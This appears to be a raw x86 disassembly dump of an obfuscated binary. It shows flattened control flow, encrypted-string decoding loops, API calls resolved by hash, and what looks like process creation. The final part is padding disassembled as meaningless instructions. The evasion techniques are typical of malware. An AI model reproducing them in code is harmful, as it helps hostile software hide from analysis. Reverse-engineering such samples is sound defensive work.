mov ebx, esp
mov dword [esi + 0x7f0], 1
mov eax, dword [esi + 0x7f4]
mov ecx, dword [esi + 0x7f0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x428], 1
mov eax, dword [esi + 0x42c]
mov ecx, dword [esi + 0x428]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0xc]
jmp eax
call fcn.0040e5f0
sub esp, 4
mov dword [esp], ebx
call fcn.0040cde0
add esp, 4
mov dword [esi + 0x6e8], 1
mov eax, dword [esi + 0x6ec]
mov ecx, dword [esi + 0x6e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esi + 0xb8]
mov byte [esi + 0x14c], al
mov byte [esi + 0xbc], 0x2f
mov byte [esi + 0xbd], 0x2e
mov byte [esi + 0xbe], 0x2d
mov byte [esi + 0xbf], 0x2c
mov eax, 4
mov byte [esi + eax + 0xbc], 0
add eax, 1
cmp eax, 6
jne 0x41ba2a
xor eax, eax
cmp eax, 6
jae 0x41ba6c
mov dl, byte [esi + eax + 0xbc]
movzx edi, dl
mov ecx, eax
add ecx, 0xf8a5adb8
mov ebx, ecx
and ebx, edi
shl ebx, 1
sub ecx, ebx
add cl, dl
add cl, 0x68
mov byte [esi + eax + 0xbc], cl
add eax, 1
jmp 0x41ba3c
mov ecx, dword [esi + 0xbc]
xor edi, edi
mov ebx, dword [esi + 8]
cmp edi, dword [0x451440]
jb 0x41ba81
jmp 0x41bae9
mov eax, dword [0x451444]
cmp dword [eax + edi*8], 0xb62b8d10
sete bl
test bl, 1
jne 0x41ba97
jmp 0x41bad7
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
jne 0x41baa1
jmp 0x41bad7
mov dword [esi + 0x1cc], ecx
mov ecx, dword [0x451448]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
mov eax, dword [esi + 0x1e4]
mov dword [esp + 0xc], eax
call fcn.004417a0
mov ecx, dword [esi + 0x1cc]
add esp, 0x10
test bl, 1
je 0x41bae1
mov ebx, dword [esi + 8]
jmp 0x41bae9
add edi, 1
mov ebx, dword [esi + 8]
jmp 0x41ba77
mov eax, dword [esi + 0x408]
mov ecx, dword [esi + 0x40c]
mov eax, dword [ecx + eax*4]
jmp eax
mov word [ebx], 0
mov eax, dword [esi + 0x218]
mov al, byte [eax]
mov byte [esi + 0x104], al
mov ecx, dword [esi + 0x88]
mov byte [ecx], 0x2b
mov byte [ecx + 1], 0xc7
mov byte [ecx + 2], 0x7a
mov byte [ecx + 3], 0xc1
mov byte [ecx + 4], 0xf
mov byte [ecx + 5], 0xc3
mov byte [ecx + 6], 0x75
mov byte [ecx + 7], 0xcd
mov byte [ecx + 8], 0x7c
mov byte [ecx + 9], 0xcf
mov byte [ecx + 0xa], 0x21
mov byte [ecx + 0xb], 0xc9
mov byte [ecx + 0xc], 0x6c
mov byte [ecx + 0xd], 0xcb
mov byte [ecx + 0xe], 0xca
mov byte [ecx + 0xf], 0xb5
mov eax, 0x10
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0x12
jne 0x41bb57
xor eax, eax
cmp eax, 0x12
jae 0x41bbbf
movzx edx, byte [ecx + eax]
mov edi, eax
xor edi, 0xd1a8ce
mov ecx, eax
or ecx, 0xff2e5731
and ecx, edi
mov ebx, eax
and ebx, 0xd1a8ce
mov edi, eax
xor edi, 0xff2e5731
add edi, eax
sub edi, ebx
mov ebx, ecx
and ebx, edi
shl ebx, 1
xor ecx, edi
add ecx, ebx
mov edi, ecx
and edi, edx
shl edi, 1
add ecx, edx
sub ecx, edi
add cl, 0xb
mov edx, dword [esi + 0x88]
mov byte [edx + eax], cl
mov ecx, dword [esi + 0x88]
add eax, 1
jmp 0x41bb65
sub esp, 8
mov dword [esp + 4], ecx
mov ebx, dword [esi + 0x184]
mov dword [esp], ebx
call fcn.0040f610
mov ecx, dword [esi + 0x188]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0040f610
add esp, 8
mov edi, eax
mov eax, edi
not eax
and eax, ebx
mov ecx, ebx
not ecx
and edi, ecx
sub edi, eax
sar edi, 1
mov eax, dword [0x45143c]
sub esp, 0x18
mov ecx, dword [esi + 0x84]
mov dword [esp + 0x14], ecx
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp], 0
call eax
mov eax, dword [esi + 0x84]
mov eax, dword [eax]
add eax, 4
add eax, eax
mov ecx, 0xffffffff
jb 0x41bc44
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040cdd0
add esp, 4
mov ebx, dword [0x45143c]
mov edx, dword [esi + 0x84]
mov ecx, dword [edx]
sub esp, 0x18
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ecx
mov dword [esi], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov ecx, dword [esi + 0x184]
mov dword [esp + 4], ecx
mov dword [esp], 0
call ebx
xor eax, eax
cmp dword [esi + 0x18], 0
sete al
mov dword [esi + 0x6c0], eax
mov eax, dword [esi + 0x6c4]
mov ecx, dword [esi + 0x6c0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x600], 1
mov eax, dword [esi + 0x604]
mov ecx, dword [esi + 0x600]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x610]
mov ecx, dword [esi + 0x614]
mov eax, dword [ecx + eax*4]
mov edi, 4
mov dword [esi + 0xc], 0
jmp eax
sub esp, 4
mov dword [esp], edi
call fcn.0041c980
add esp, 4
mov ecx, eax
mov eax, ecx
and eax, 0x1d
or ecx, 0x1d
add eax, ecx
mov ecx, eax
and ecx, 1
shl ecx, 1
xor eax, 1
add eax, ecx
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41bd21
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040cdd0
add esp, 4
mov ebx, eax
mov eax, dword [esi + 0x208]
mov al, byte [eax]
mov byte [esi + 0x12c], al
mov ecx, dword [esi + 0x4c]
mov byte [ecx], 0xee
mov byte [ecx + 1], 0xcf
mov byte [ecx + 2], 0xce
mov byte [ecx + 3], 0xd1
mov eax, 4
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 6
jne 0x41bd56
xor edx, edx
cmp edx, 6
jae 0x41be00
movzx edi, byte [ecx + edx]
mov ecx, 0x1185b532
sub ecx, edx
mov dword [esi + 0x44], edx
mov edx, dword [esi + 0x44]
add edx, 0x2e7a4acd
and edx, 0xde1325c0
and ecx, 0x21ecda3f
or edx, ecx
xor edx, edi
xor edx, 0xde1325c0
mov ecx, 0x32
sub ecx, dword [esi + 0x44]
and ecx, edi
or edx, ecx
mov ecx, 0x32
sub ecx, dword [esi + 0x44]
and ecx, edi
mov edi, edx
or edi, ecx
xor ecx, edx
add ecx, edx
mov dword [esi + 0xc], ebx
mov ebx, ecx
xor ebx, 0xffffffff
mov edx, edi
add edx, ebx
mov eax, edx
shl eax, 1
and eax, 0xfc
mov ebx, edx
xor ebx, 0xfe
add ebx, eax
sub ecx, edi
and ecx, 1
xor ecx, 1
and edx, 1
xor ebx, 1
or edx, ebx
mov ebx, dword [esi + 0xc]
add ecx, edx
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x4c]
mov byte [eax + edx], cl
mov ecx, dword [esi + 0x4c]
add edx, 1
jmp 0x41bd64
mov eax, dword [esi + 0x204]
mov al, byte [eax]
mov byte [esi + 0x130], al
mov ecx, dword [esi + 0x48]
mov byte [ecx], 0xb8
mov byte [ecx + 1], 0xc9
mov byte [ecx + 2], 0xa5
mov byte [ecx + 3], 0xd7
mov byte [ecx + 4], 0xaf
mov byte [ecx + 5], 0xd5
mov byte [ecx + 6], 0xbf
mov byte [ecx + 7], 0xd3
mov byte [ecx + 8], 0xae
mov byte [ecx + 9], 0xd1
mov byte [ecx + 0xa], 0xa1
mov byte [ecx + 0xb], 0xdf
mov byte [ecx + 0xc], 0xb4
mov byte [ecx + 0xd], 0xdd
mov byte [ecx + 0xe], 0xb7
mov byte [ecx + 0xf], 0xdb
mov byte [ecx + 0x10], 0xac
mov byte [ecx + 0x11], 0xd9
mov byte [ecx + 0x12], 0x92
mov byte [ecx + 0x13], 0xe7
mov byte [ecx + 0x14], 0xc4
mov byte [ecx + 0x15], 0xe5
mov byte [ecx + 0x16], 0xd7
mov byte [ecx + 0x17], 0xe3
mov byte [ecx + 0x18], 0x8d
mov byte [ecx + 0x19], 0xe1
mov byte [ecx + 0x1a], 0x96
mov byte [ecx + 0x1b], 0xef
mov byte [ecx + 0x1c], 0x81
mov byte [ecx + 0x1d], 0xed
mov byte [ecx + 0x1e], 0x85
mov byte [ecx + 0x1f], 0xeb
mov byte [ecx + 0x20], 0xc8
mov byte [ecx + 0x21], 0xe9
mov byte [ecx + 0x22], 0x98
mov byte [ecx + 0x23], 0xf7
mov byte [ecx + 0x24], 0x8d
mov byte [ecx + 0x25], 0xf5
mov byte [ecx + 0x26], 0x82
mov byte [ecx + 0x27], 0xf3
mov byte [ecx + 0x28], 0x91
mov byte [ecx + 0x29], 0xf1
mov byte [ecx + 0x2a], 0x81
mov byte [ecx + 0x2b], 0xff
mov byte [ecx + 0x2c], 0x83
mov byte [ecx + 0x2d], 0xfd
mov byte [ecx + 0x2e], 0xda
mov byte [ecx + 0x2f], 0xfb
mov byte [ecx + 0x30], 0xcd
mov byte [ecx + 0x31], 0xf9
mov byte [ecx + 0x32], 0x6c
mov byte [ecx + 0x33], 7
mov byte [ecx + 0x34], 0x24
mov byte [ecx + 0x35], 5
mov byte [ecx + 0x36], 0x2c
mov byte [ecx + 0x37], 3
mov byte [ecx + 0x38], 0
mov byte [ecx + 0x39], 1
mov eax, 0x3a
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0x3c
jne 0x41befd
call fcn.0040e5f0
call fcn.0040e5f0
mov eax, dword [esi + 0x530]
mov ecx, dword [esi + 0x534]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
test ebx, ebx
setne dl
mov dword [esi + 0x5c8], 1
mov eax, dword [esi + 0x5cc]
mov ecx, dword [esi + 0x5c8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x698], 1
mov eax, dword [esi + 0x69c]
mov ecx, dword [esi + 0x698]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi + 0x30], ebx
mov dword [esi + 0x220], edi
mov dword [esi + 0x8c], edx
mov eax, dword [esi + 0x7e8]
mov ecx, dword [esi + 0x7ec]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x460]
mov ecx, dword [esi + 0x464]
mov eax, dword [ecx + eax*4]
mov dword [esi], 0
jmp eax
sub esp, 0x18
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0x4278e0
mov dword [esp + 4], 0
mov dword [esp], 0
call edi
mov dword [esi + 0x60], eax
mov eax, dword [esi + 0x3c0]
mov ecx, dword [esi + 0x3c4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x508], 1
mov eax, dword [esi + 0x50c]
mov ecx, dword [esi + 0x508]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x518]
mov ecx, dword [esi + 0x51c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x4f0], 0
mov eax, dword [esi + 0x4f4]
mov ecx, dword [esi + 0x4f0]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 0xc
mov eax, dword [esi + 0x8c]
mov dword [esp + 4], eax
mov eax, dword [esi + 4]
mov dword [esp], eax
mov dword [esp + 8], 3
call fcn.00404cb0
add esp, 0xc
xor ebx, ebx
test eax, eax
sete byte [esi + 0x24]
mov eax, dword [esi + 0x788]
mov ecx, dword [esi + 0x78c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov eax, edi
sub eax, 1
sete bl
mov dword [esi + 0x4d0], 1
mov eax, dword [esi + 0x4d4]
mov ecx, dword [esi + 0x4d0]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
cmp dword [esi + 0x60], 0
setne al
mov dword [esi + 0x3a0], eax
mov eax, dword [esi + 0x3a4]
mov ecx, dword [esi + 0x3a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi + 0x1bc], ebx
mov ebx, edx
call fcn.0040d570
mov ecx, eax
mov edx, 0x38e38e39
mov eax, ecx
imul edx
mov eax, edx
shr eax, 0x1f
sar edx, 3
add edx, eax
shl edx, 2
lea eax, [edx + edx*8]
neg eax
movsx eax, byte [ecx + eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov edx, dword [esi + 0x1bc]
mov ecx, edx
add ecx, 2
mov word [edx], ax
inc ebx
mov eax, dword [esi + 0x6b8]
mov edx, dword [esi + 0x6bc]
mov eax, dword [edx + eax*4]
mov edx, ebx
mov ebx, ecx
jmp eax
test edi, edi
sete dl
mov eax, dword [esi + 0x720]
mov ecx, dword [esi + 0x724]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x558], 1
mov eax, dword [esi + 0x55c]
mov ecx, dword [esi + 0x558]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x1f8]
jmp eax
mov eax, dword [esi + 0x210]
mov al, byte [eax]
mov byte [esi + 0x114], al
mov ecx, dword [esi + 0x17c]
mov byte [ecx], 0x42
mov byte [ecx + 1], 0x9f
mov byte [ecx + 2], 0xe
mov byte [ecx + 3], 0x91
mov byte [ecx + 4], 5
mov byte [ecx + 5], 0x93
mov byte [ecx + 6], 0x41
mov byte [ecx + 7], 0x95
mov byte [ecx + 8], 0x94
mov byte [ecx + 9], 0x97
mov eax, 0xa
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0xd
jne 0x41c251
xor eax, eax
cmp eax, 0xd
jae 0x41c2b2
movzx edi, byte [ecx + eax]
mov edx, 0x92536e1a
sub edx, eax
or edx, edi
mov ecx, 0x1a
sub ecx, eax
mov ebx, 0x1a
sub ebx, eax
and ecx, ebx
and ecx, edi
xor edx, 0xffffffff
or ecx, edx
mov edx, ecx
add edx, 0xad
mov edi, 0x12
sub edi, ecx
mov ecx, dword [esi + 0x17c]
and edi, 0x26
and edx, 0xd9
sub edx, edi
mov edi, dword [esi]
mov byte [ecx + eax], dl
add eax, 1
jmp 0x41c25f
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], edi
call fcn.0041c930
add esp, 8
mov eax, dword [esi + 0x668]
mov ecx, dword [esi + 0x66c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [0x451434]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xe117db1e
call fcn.004442e0
add esp, 8
mov edi, eax
call fcn.0040e5f0
call fcn.0040e5f0
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov ecx, dword [esi + 0x3c8]
mov edx, dword [esi + 0x3cc]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0040e5f0
mov dword [esi + 0x4d8], 1
mov eax, dword [esi + 0x4dc]
mov ecx, dword [esi + 0x4d8]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 8
mov eax, dword [esi + 0x68]
mov dword [esp], eax
mov eax, dword [esi + 8]
mov dword [esp + 4], eax
call fcn.00404de0
add esp, 8
mov dword [esi + 4], eax
mov eax, dword [esi + 0x1a8]
mov al, byte [eax]
mov byte [esi + 0xd4], al
mov byte [edi], 0xe7
mov byte [edi + 1], 0x9b
mov eax, 2
mov byte [edi + eax], 0
add eax, 1
cmp eax, 8
jne 0x41c367
xor eax, eax
cmp eax, 8
jae 0x41c3c4
movzx edx, byte [edi + eax]
mov edi, eax
add edi, 0x1eef1d1b
mov ecx, 0x6110e2e4
sub ecx, eax
mov ebx, 0x6110e2e4
sub ebx, eax
or ecx, ebx
mov ebx, dword [esi + 0x1c]
and ecx, 0xb200357e
and edi, 0x4dffca81
xor edx, 0xb200357e
or ecx, edi
mov edi, ecx
and edi, edx
shl edi, 1
sub ecx, edi
mov edi, ebx
add ecx, edx
add cl, 0x79
mov byte [edi + eax], cl
add eax, 1
jmp 0x41c375
sub esp, 0xc
mov dword [esp + 4], edi
mov eax, dword [esi + 4]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.00404cb0
add esp, 0xc
xor ecx, ecx
test eax, eax
setne al
mov dword [esi + 0x7a8], 0
mov edx, dword [esi + 0x7ac]
mov ebx, edi
mov edi, dword [esi + 0x7a8]
mov edx, dword [edx + edi*4]
mov edi, ebx
jmp edx
call fcn.0040e5f0
xor eax, eax
mov ecx, 0x11
mov edi, dword [esi + 0x34]
rep stosd dword es:[edi], eax
mov eax, dword [esi + 0x34]
mov dword [eax], 0x44
mov eax, dword [0x451434]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x38c42730
call fcn.004442e0
sub esp, 0x20
mov ecx, dword [esi + 0x70]
mov dword [esp + 0x24], ecx
mov ecx, dword [esi + 0x34]
mov dword [esp + 0x20], ecx
mov dword [esp + 4], ebx
mov ecx, dword [esi]
mov dword [esp], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call eax
xor ecx, ecx
test eax, eax
setne al
mov dword [esi + 0x420], 0
mov edx, dword [esi + 0x424]
mov edi, dword [esi + 0x420]
mov edx, dword [edx + edi*4]
jmp edx
mov al, cl
and eax, 1
mov dword [esi + 0x4e0], eax
mov eax, dword [esi + 0x4e4]
mov ecx, dword [esi + 0x4e0]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x1c]
mov ebx, dword [esi + 8]
jmp eax
call fcn.0040e5f0
mov bh, bl
and bh, byte [esi + 0x23]
mov dword [esi + 0x4a8], 1
mov eax, dword [esi + 0x4ac]
mov ecx, dword [esi + 0x4a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x4a0]
mov ecx, dword [esi + 0x4a4]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov edi, dword [esi + 0x18]
test edi, edi
setle al
mov dword [esi + 0x450], eax
mov eax, dword [esi + 0x454]
mov ecx, dword [esi + 0x450]
mov eax, dword [eax + ecx*4]
mov dl, byte [esi + 0x27]
jmp eax
mov eax, dword [esi + 0x6a0]
mov ecx, dword [esi + 0x6a4]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi]
jmp eax
or dword [ecx], eax
or dword [ecx], eax
cld
or eax, 241238081
inc ecx
add ah, bh
or eax, 0xa600041
inc ecx
add byte [esi + 0xa], ch
inc ecx
add byte [ebp + 0xa], dh
inc ecx
add byte [ebp - 0x63ffbef5], dl
or eax, dword [ecx]
ror byte [ebx], 0x41
add byte [ecx - 1073725173], dh
or eax, dword [ecx]
ror byte [ebx], 0x41
add al, al
or eax, dword [ecx]
invalid
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
